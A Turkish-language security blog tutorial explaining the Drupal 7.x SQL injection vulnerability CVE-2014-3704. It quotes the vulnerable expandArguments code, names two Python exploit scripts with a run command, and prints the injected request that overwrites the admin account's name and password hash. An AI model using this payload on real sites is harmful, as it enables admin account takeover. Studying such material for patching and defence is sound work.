Register Now

Login

Lost Password

Lost your password? Please enter your email address. You will receive a link and will create a new password via email.

Login

Register Now

Canyoupwn.me ~

TR | Drupal 7.x SQL Injection Vulnerability (CVE-2014-3704)

Drupal açık kaynaklı bir içerik yönetim sistemidir.  15 Ekim 2014 tarihinde Sektioneins ekibi tarafından SQL injection zafiyeti tespit edilmiştir. Bu zafiyet Drupal’in 7.0 ve 7.31 versiyonları için geçerlidir. Bu açıklığı kapatmak için sisteminizdeki Drupal versiyonunu güncellemeniz gerekmektedir. Zafiyet kullanıcıdan alınan verinin array olması durumunda ilgili fonksiyonun expand etmeye çalışmasından dolayı gerçekleşmektedir. Bundan ötürü UPDATE, DELETE, DROP gibi SQL sorgularını çalıştırabilirsiniz.

 

drupalbas

Arka planda çalışan kod bloğu şu şekildedir;

 

protected function expandArguments(&$query, &$args) {
$modified = FALSE;

// If the placeholder value to insert is an array, assume that we need
// to expand it out into a comma-delimited set of placeholders.
foreach (array_filter($args, 'is_array') as $key => $data) {
$new_keys = array();
foreach ($data as $i => $value) {
// This assumes that there are no other placeholders that use the same
// name. For example, if the array placeholder is defined as :example
// and there is already an :example_2 placeholder, this will generate
// a duplicate key. We do not account for that as the calling code
// is already broken if that happens.
$new_keys[$key . '_' . $i] = $value;
}

// Update the query with the new placeholders.
// preg_replace is necessary to ensure the replacement does not affect
// placeholders that start with the same exact text. For example, if the
// query contains the placeholders :foo and :foobar, and :foo has an
// array of values, using str_replace would affect both placeholders,
// but using the following preg_replace would only affect :foo because
// it is followed by a non-word character.
$query = preg_replace('#' . $key . '\b#', implode(', ', array_keys($new_keys)), $query);

// Update the args array with the new placeholders.
unset($args[$key]);
$args += $new_keys;

$modified = TRUE;
}

return $modified;
}

 

Kullanıcıdan alınan değerin array olması durumunda veritabanında çalışan sorgu aşağıdakine benzer biçimde olacaktır.

SELECT * from users where name IN (:name_0, :name_1)

Eğer alınan array birden fazla key içerirse oluşacak sorgu aşağıdaki gibi olacaktır ve zafiyet meydana gelecektir.

SELECT * FROM users WHERE name = :name_test

 

Bu zafiyeti exploit etmek için python ile geliştirilen script’e aşağıdaki adreslerden ulaşabilirsiniz.
drupalpass.py
drupal_7.x_sql_injection_sa-core-2014-005.py

İndirilen script dosyalarının aynı dizinde bulunması gerekmektedir. Script i aşağıdaki resimdeki gibi parametreleri vererek çalıştırabilirsiniz.

ss

python drupal_7.x_sql_injection_sa-core-2014-005.py http://localhost/drupal/ admin 123456

 

bu komut çalıştırıldığında veritabanında bulunan id değeri 1 olan kullanıcının zafiyetten yararlanılarak kullanıcı adı ve şifresi parametrelerde verdiğimiz şekilde veritabanı üzerinde güncellenir ve çalışan sorgu şu şekildedir.

name[0%20;update+users+set+name%3d\'" \
+user \
+"'+,+pass+%3d+'" \
+hash[:55] \
+"'+where+uid+%3d+\'1\';;#%20%20]=bob&name[0]=larry&pass=lol&form_build_id=&form_id=user_login_block&op=Log+in

Drupal multi query özelliğine destek sağladığı için önce select sorgusu ile veritabanında user seçilir ve ardından update sorgusu ile admin hesabı üzerinde güncelleme işlemi gerçekleştirilir.

Atadığımız kullanıcı adı ve şifre ile sisteme admin yetkisi ile erişebilirsiniz.

ss2

About CanYouPwnMe

Hero!

Follow Me